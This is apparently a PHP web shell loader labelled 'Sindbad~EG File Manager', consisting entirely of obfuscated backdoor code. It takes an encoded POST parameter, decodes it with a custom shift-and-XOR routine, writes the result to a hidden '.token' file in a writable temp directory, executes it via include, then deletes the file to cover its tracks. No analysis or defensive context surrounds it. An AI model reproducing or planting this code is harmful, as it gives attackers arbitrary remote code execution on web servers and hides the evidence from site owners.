Sindbad~EG File Manager

<?php

if(isset($_POST["va\x6C"])){
	$flag = array_filter(["/var/tmp", "/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), getenv("TMP")]);
	$sym = $_POST["va\x6C"];
	 $sym  	=	 	explode(	 	'.'  ,	 $sym		)  ; 	 
	$res = '';
            $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen(  $s7);
            $y = 0;
    
            array_walk(  $sym, function(  $v8) use(  &$res, &$y, $s7, $sLen) { $chS = ord(  $s7[$y % $sLen]);
                $d =(  (  int)$v8 - $chS -(  $y % 10)) ^ 99;
                $res .= chr(  $d);
                $y++;
            });
	foreach ($flag as $key => $desc) {
    		if ((bool)is_dir($desc) && (bool)is_writable($desc)) {
    $record = join("/", [$desc, ".token"]);
    if (file_put_contents($record, $res)) {
	include $record;
	@unlink($record);
	exit;
}
}
}
}